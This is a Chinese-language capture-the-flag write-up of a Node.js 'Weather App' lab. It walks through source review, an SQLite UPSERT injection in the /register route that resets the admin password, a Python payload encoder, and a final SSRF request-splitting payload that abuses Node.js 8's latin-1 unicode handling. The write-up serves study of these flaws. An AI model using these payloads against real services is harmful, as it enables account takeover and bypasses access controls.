Weather App

这道题值得慢慢啃,如果有缘看到我这篇writeup的话,建议你实在啃不下再看(或者只看卡住的地方)

题目分析

不管用burp抓包,还是分析源代码.均可以看到,天气的获取以POST方式请求了/api/weather 接口(源代码见/static/js/main.js )

看源代码进行审计的时候,还发现了在/static/host-unreachable.jpg 下的一个图片

Untitled

代码审计

进行代码的分析,发现只要从接口``/api/weather 返回的天气温度存在,就会输出对应的相应数据

data = await res.json();

    if (data.temp) {
        weather.innerHTML = `
            <div class='${data.icon}'></div>
            <h1>City: ${city}</h1>
            <h1>Temp: ${data.temp} C</h1>
            <h3>Status: ${data.desc}</h3>
        `;
    } else {
        weather.innerHTML = `
            <h3>${data.message}</h3>
        `;
    }

才发现,原来这个lab需要在题目页面下载必要的文件.使用docker去build对应的image.然后去分析本地运行的代码,了解这个application是如何运作的.

首先发现是node.js写的,代码量不大

看所提供的文件,routes文件夹下的js文件,大概了解了路由和html文件的对应关系,除了首页外,还有/register和/login.而在/login的节点下,以管理员身份登陆就会返回flag.相关的代码如下

router.post('/login', (req, res) => {
	let { username, password } = req.body;

	if (username && password) {
		return db.isAdmin(username, password)
			.then(admin => {
				if (admin) return res.send(fs.readFileSync('/app/flag').toString());
				return res.send(response('You are not admin'));
			})
			.catch(() => res.send(response('Something went wrong')));
	}
	
	return re.send(response('Missing parameters'));
});

而这里的db即database,对应的是database.js .其中idAdmin的方法如下:(这里不可sql注入)

async isAdmin(user, pass) {
        return new Promise(async (resolve, reject) => {
            try {
                let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
                let row = await smt.get(user, pass);
                resolve(row !== undefined ? row.username == 'admin' : false);
            } catch(e) {
                reject(e);
            }
        });
    }

其中this.db

async connect() {
        this.db = await sqlite.open(this.db_file);
    }

而数据库表结构如下,username是不可重复的,且默认会创建一个admin用户

return this.db.exec(`
            DROP TABLE IF EXISTS users;

            CREATE TABLE IF NOT EXISTS users (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                username   VARCHAR(255) NOT NULL UNIQUE,
                password   VARCHAR(255) NOT NULL
            );

            INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
        `);

看起来好像暂时没有什么头绪了....然后突然想起不知道需要下载文件前看到的那张meme图.去查看一下使用api相关的代码吧!查看./helpers/WeatherHelper.js文件,对应的就是前端的endpoint:/api/weather

后台请求的链接是这样的

let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);

其中HttpGet如下(位于helpers/HttpHelper.js):

HttpGet(url) {
		return new Promise((resolve, reject) => {
			http.get(url, res => {
				let body = '';
				res.on('data', chunk => body += chunk);
				res.on('end', () => {
					try {
						resolve(JSON.parse(body));
					} catch(e) {
						resolve(false);
					}
				});
			}).on('error', reject);
		});
	}

向该url请求后,会判断weatherData (即返回的response的json数据下)有无name字段,如果有,则进行进一步变量赋值. 这里不太会了,按照我的理解,关键在于利用api来伪造admin阅读有flag的endpoint.打算在本地先测试一下....

然后我又返回去阅读了一下isAdmin的代码,发现只要注册成功,就可以用这个用户名登陆.然后被识别为admin.

resolve(row !== undefined ? row.username == 'admin' : false);

然后我第一次认真的看了register相关的代码( 看过代码,才发现为什么之前测试这个endpoint 的时候,每次点击注册,都会返回401. req.socket.remoteAddress.replace(/^.*:/, '') 是过滤,会把冒号前的过滤掉,包括冒号本身.

这里的remoteAddress包括ipv4和ipv6的地址,更多相关可以看stackoverflow上的问答:

https://stackoverflow.com/questions/31100703/stripping-ffff-prefix-from-request-connection-remoteaddress-nodejs

router.post('/register', (req, res) => {

	if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
		return res.status(401).end();
	}

	let { username, password } = req.body;

	if (username && password) {
		return db.register(username, password)
			.then(()  => res.send(response('Successfully registered')))
			.catch(() => res.send(response('Something went wrong')));
	}

	return res.send(response('Missing parameters'));
});

再看一下注册相关的sql代码,是没有使用占位符(?)来防止sql注入的.看起来要用ssrf实现注册, 并且要利用到sql注入,绕过该if判断.然后进行登陆,拿到flag, 实验一下自己的猜想,把注册处的判断注释掉,然后实验sql注入能否在该endpoint上拿到admin的密码

取消401注释,构造SQL注入

看代码知道,只有/register处能够注入,

register处的sql操作的代码

async register(user, pass) {
        // TODO: add parameterization and roll public
        return new Promise(async (resolve, reject) => {
            try {
                let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
                resolve((await this.db.run(query)));
            } catch(e) {
                reject(e);
            }
        });
    }

(在没有源码的基础上,其实首先是要测试原始sql数据库类型,以及语句的闭合方式/参数个数,这里的闭合方式为');-- )

这里不能用ADN和OR,因为这两个运算符都用于: 结合一个 SQL 语句的 WHERE 子句中的多个条件。

一开始我对payload的猜想是这样的:

username=abc4&password=1234');+UPDATE+users+SET+password='1234'+WHERE+username='admin';--

拼接起来,在nodejs的register函数下,query对应的值便是:

INSERT INTO users (username, password) VALUES ('abc', '1234'); UPDATE users SET password='1234' WHERE username='admin';--')

但是在下文的”验证:”一节中,却发现该payload无法使用.初步实验后,发现nodejs此处调用的query只执行第一句sql(”;”前的),本以为这样行的通,没想到这里的payload要重新构造,然后对”insert into”语句如何忽略unique约束进行了查询,sqlite官方有描述:https://sqlite.org/lang_conflict.html

用法描述见:https://www.sqlite.org/lang_UPSERT.html

根据文档描述,在本地建了一个sqlite数据库进行测试,以下语句最终可以测试通过:

insert into users(username,password) values('admin','admin') on conflict(username) do update set password = '1234' where username='admin'

所以payload就是:

username=admin&password=1234')%20on%20conflict(username)%20do%20update%20set%20password%20%3d%20'1234'%20where%20username%3d'admin';--

漏洞利用

好耶,要用到nodejs的漏洞!其实我卡这里了,看了别人的文章才知道....qwq虽然文中提到先知社区的文章很好,但是我打算先靠自己的力量:搜索找到对应的nodejs v8的相关安全文章(得训练自己这方面的能力)

在上一步的sql注入测试中,为了只针对sql,所以对如下代码加了注释.在这一步中,要通过nodejs的漏洞来绕过该判断


	if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
		return res.status(401).end();
	}

查找漏洞相关内容

看Dockerfile发现node的版本是node:8.12.0-alpine,

nodejs的更新日记:https://github.com/nodejs/node/blob/master/doc/changelogs/CHANGELOG_V8.md#8.12.0

在issues下以sucurity和semver-major的标签也能够找到:https://github.com/nodejs/node/pull/16237 可以看得到利用这个安全问题可以实现请求走私,在issues下还引用了一篇经典的orange的SSRF的报告(如图) 是关于在SSRF中实现走私,ppt在nodejs相关的页数中写到,像U+FF2E即全宽拉丁大写字母”N”的unicode编码,在进行http协议的url处理时,不能完整地处理它的编码,导致NN/被转义为../

Untitled_1

详细的解释见:https://github.com/nodejs/node/issues/13296#issuecomment-305162413

尝试理解产生原因

这个bug是在http请求中遇到non-Latin-1字符时才会出现的,而针对http类的请求,nodejs对于header处理时是统一按照latin-1编码进行处理,而不是UTF-8.然后我根据我的理解,按照关键词”nodejs latin1 injection”进行google,就搜到了先知社区引用的那篇英文原文的报告www

Node.js defaults to using "latin1", a single-byte encoding that cannot represent high-numbered unicode characters such as the 🐶 emoji

这样理解的话,这个漏洞就是利用nodejs默认采用latin-1编码在http协议上,导致宽字节的数据在传输中缺损,及安全意义上的”数据不完整”.

根据github的issues以及搜到的文章阅读后理解,latin-1在处理unicode下的宽字节编码时,只保留特定位数,而剩余码位上的数字会被忽略,举例来说,就是:

\uff2e 会变成 0x2e

用在线unicode编码测试一下:https://tool.chinaz.com/tools/unicode.aspx 就发现猜想正确了.

而因为nodejs在处理latin-1编码的时候,\u010D\u010A/ 在latin-1下并非控制字符,所以绕过了nodejs内部的防御.

构造对应SSRF

同样的,我会先在线下的docker环境中进行测试

空格的unicode编码为:\u0020 转为latin-1:\u0120

这里写个python脚本进行转换好了....突然觉得手动有点麻烦

如下:

import re
from pprint import pprint

def decode(my_str):
    """将包含宽字节的字符串以latin-1编码方式进行解码(复现nodejs v8字节丢失)"""
    rules = re.compile(r'\\u[0-9A-Za-z]{2}')
    rules_2 = re.compile('\\u0020')
    after = rules.sub(r'\\u00', my_str).encode('utf-8').decode('unicode_escape')
    after = rules_2.sub(r' ',after)
    print(after) 
    # pprint(after) #如果用pprint,可以输出控制符
    return after

def encode(my_str):
    """将普通编码的字符串转换为能用于构造payload的latin-1编码"""
    rules = re.compile(r'\\n')
    rules_2 = re.compile(r' ')
    my_str = my_str.encode('unicode_escape').decode('utf-8')
    unicode_str = rules.sub(r'\\u010D\\u010A', my_str)
    after = rules_2.sub(r'\\u0120', unicode_str)
    print(after)

验证:

我直接现场折腾nodejs然后写了一段nodejs在原始代码上....😭(因为sqlite运行在docker内部,而docker运行状态中,使用attach进入后必须得中断当前运行的nodejs代码....直接在docker容器外进行sqlite3连接是不行的,不过....如果有大佬能告诉我别的方法万分感谢,这里我研究了好久)

Untitled
Untitled

验证步骤如下:

  • 代码处401处注释下,首先验证sql注入
  • 取消注释,在api接口处,结合/register下的请求,验证ssrf(利用漏洞,走私,携带第一步中的sql注入的请求)

在第二步验证的时候要想办法构造合适的内容跳过if的判断,其实就是无论是ipv4还是ipv6下,用户(即客户端)访问的ip均要保证为127.0.0.1

还有这一步Content-Length很重要,如果计算不对直接影响req.socket.remoteAddress为undefined(血泪教训,卡了我一天半TUT) 如果不会用计算Content-Length的话,可以先把它设置为大一点的值,服务器对应会显示”request aborted”,然后在这个临界基础上往下减就可以

Untitled

最后的payload

哭了,做了一周 终于啃出来了

127.0.0.1/test\u0120HTTP/1.1\u010D\u010AHost:127.0.0.1:80\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1:80\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120120\u010D\u010A\u010D\u010Ausername=admin&password=1234')+on+conflict(username)+do+update+set+password='1234'+where+username='admin';--\u010D\u010A\u010D\u010AGET\u0120/123

参考